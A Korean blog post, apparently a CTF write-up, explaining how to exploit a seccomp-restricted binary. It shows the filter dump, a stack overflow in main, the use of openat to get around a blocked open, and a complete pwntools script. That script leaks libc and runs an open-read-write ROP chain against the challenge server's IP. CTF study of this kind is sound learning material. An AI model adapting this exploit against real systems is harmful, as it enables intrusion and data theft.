티스토리 뷰

Summary

  • seccomp 우회
  • gadget in libc
  • syscall orw

Analysis

스트링에 base64로 된 문장이 있는데 복호화하면

/home/seccomp/flag 이라는 문장을 얻을 수 있다.

orw 하는 문제라는 것을 예측 할 수 있다.

hyomin@ubuntu:~/hy0/ctf/layer/pwn/how_old$ seccomp-tools dump ./seccomp 
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x12 0xc000003e  if (A != ARCH_X86_64) goto 0020
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0f 0xffffffff  if (A != 0xffffffff) goto 0020
 0005: 0x15 0x0e 0x00 0x00000002  if (A == open) goto 0020
 0006: 0x15 0x0d 0x00 0x00000009  if (A == mmap) goto 0020
 0007: 0x15 0x0c 0x00 0x0000000a  if (A == mprotect) goto 0020
 0008: 0x15 0x0b 0x00 0x00000029  if (A == socket) goto 0020
 0009: 0x15 0x0a 0x00 0x00000038  if (A == clone) goto 0020
 0010: 0x15 0x09 0x00 0x0000003a  if (A == vfork) goto 0020
 0011: 0x15 0x08 0x00 0x0000003b  if (A == execve) goto 0020
 0012: 0x15 0x07 0x00 0x0000003e  if (A == kill) goto 0020
 0013: 0x15 0x06 0x00 0x00000065  if (A == ptrace) goto 0020
 0014: 0x15 0x05 0x00 0x0000009d  if (A == prctl) goto 0020
 0015: 0x15 0x04 0x00 0x00000130  if (A == open_by_handle_at) goto 0020
 0016: 0x15 0x03 0x00 0x00000142  if (A == execveat) goto 0020
 0017: 0x15 0x02 0x00 0x00000208  if (A == 0x208) goto 0020
 0018: 0x15 0x01 0x00 0x00000221  if (A == 0x221) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x06 0x00 0x00 0x00000000  return KILL

바이너리에 seccomp가 걸려있다.

sys_execve는 당연히 막혀있고 orw 해야 하는 문제같은데 open도 막혀있다.

하지만 sys_open은 sys_openat을 이용해서 우회할 수 있다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-110h]
  int v5; // [rsp+100h] [rbp-10h]
  int v6; // [rsp+104h] [rbp-Ch]
  int v7; // [rsp+108h] [rbp-8h]
  int i; // [rsp+10Ch] [rbp-4h]

  if ( !count )
    setup(*(_QWORD *)&argc, argv, envp);
  v5 = 0;
  v7 = 0;
  v6 = 0;
  for ( i = 0; i <= 1; ++i )
  {
    printf("Input your age : ");
    v7 = _isoc99_scanf("%u", &v5);
    if ( v7 )
    {
      puts("Hello baby!");
      printf("What's your name? : ", &v5);
      read(0, &buf, 0x200uLL);
      puts("Okay! I know how you are now, baby :)");
    }
    else
    {
      puts("Hello adult!");
      printf("What's your name? : ", &v5);
      read(0, adult, 0x200uLL);
      v6 = strlen(adult);
      if ( v6 != 5 )
      {
        puts("Are you Korean?");
        exit(1);
      }
      puts("Okay! I know how you are now, adult :)");
    }
  }
  return 0;
}

bof가 터지므로 rop하면 되는데,

syscall하기 위한 가젯들은 libc_base 주소를 구해 libc내부에 있는 가젯들을 이용하면 된다.

pop_rdi = libc_base + 0x0000000000021102 # pop rdi ; ret
pop_rsi = libc_base + 0x00000000000202e8 # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000001b92 # pop rdx ; ret
pop_rax = libc_base + 0x0000000000033544 # pop rax ; ret
syscall = libc_base + 0x00000000000bc375 # syscall ; ret

libc를 leak해주고 다시 main으로 돌려서 bss영역에 /home/seccomp/flag 문자열을 적어주고

또 main으로 돌려서 orw rop를 짜주면 된다.

Exploit

from pwn import *

#s = process("./seccomp")
s = remote("211.239.124.246", 12403)
e = ELF("./seccomp")
libc = ELF("./libc.so.6")

context.log_level = 'debug'

pr = 0x400eb3
main = 0x0000000000400A96 
flag = "/home/seccomp/flag"

payload = "A"*0x110
payload += "BBBBBBBB"
payload += p64(pr)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(main)

s.sendlineafter(": ", "1")
s.sendlineafter(": ",payload)

s.recvuntil("\n")
puts = u64(s.recv(6)+"\x00\x00")
libc_base = puts - 0x6f690
s.recvuntil("\n")

print(hex(libc_base))

pop_rdi = libc_base + 0x0000000000021102 # pop rdi ; ret
pop_rsi = libc_base + 0x00000000000202e8 # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000001b92 # pop rdx ; ret
pop_rax = libc_base + 0x0000000000033544 # pop rax ; ret
syscall = libc_base + 0x00000000000bc375 # syscall ; ret

payload2 = "A"*0x118
payload2 += p64(pop_rdi)
payload2 += p64(0)
payload2 += p64(pop_rsi)
payload2 += p64(0x602060)
payload2 += p64(pop_rdx)
payload2 += p64(0xff)
payload2 += p64(pop_rax)
payload2 += p64(0)
payload2 += p64(syscall)
payload2 += p64(main)

s.sendlineafter(": ", "1")
s.sendlineafter(": ", payload2)

s.sendline(flag+"\x00")

payload3 = "A"*0x118
payload3 += p64(pop_rdi) + p64(0)
payload3 += p64(pop_rsi) + p64(0x602060)
payload3 += p64(pop_rdx) + p64(0)
payload3 += p64(pop_rax) + p64(257)
payload3 += p64(syscall)

payload3 += p64(pop_rdi) + p64(3)
payload3 += p64(pop_rsi) + p64(0x602060+0x50)
payload3 += p64(pop_rdx) + p64(0xff)
payload3 += p64(pop_rax) + p64(0)
payload3 += p64(syscall)

payload3 += p64(pop_rdi) + p64(1)
payload3 += p64(pop_rsi) + p64(0x602060+0x50)
payload3 += p64(pop_rdx) + p64(0xff)
payload3 += p64(pop_rax) + p64(1)
payload3 += p64(syscall)

s.sendlineafter(": ", "1")
s.sendlineafter(": ", payload3)
s.interactive()

'pwnable > CTF write-up' 카테고리의 다른 글

[선린고등해커 2019] simple 풀이  (0) 2019.12.01
[Rooters 2019] Secure ROP write-up  (0) 2019.10.23
64bit srop write-up  (0) 2018.08.05
[BCTF 2016] bcloud write-up  (0) 2018.07.28
사이버 가디언즈 1차전 pwn, miscwrite-up  (0) 2018.06.29
Comments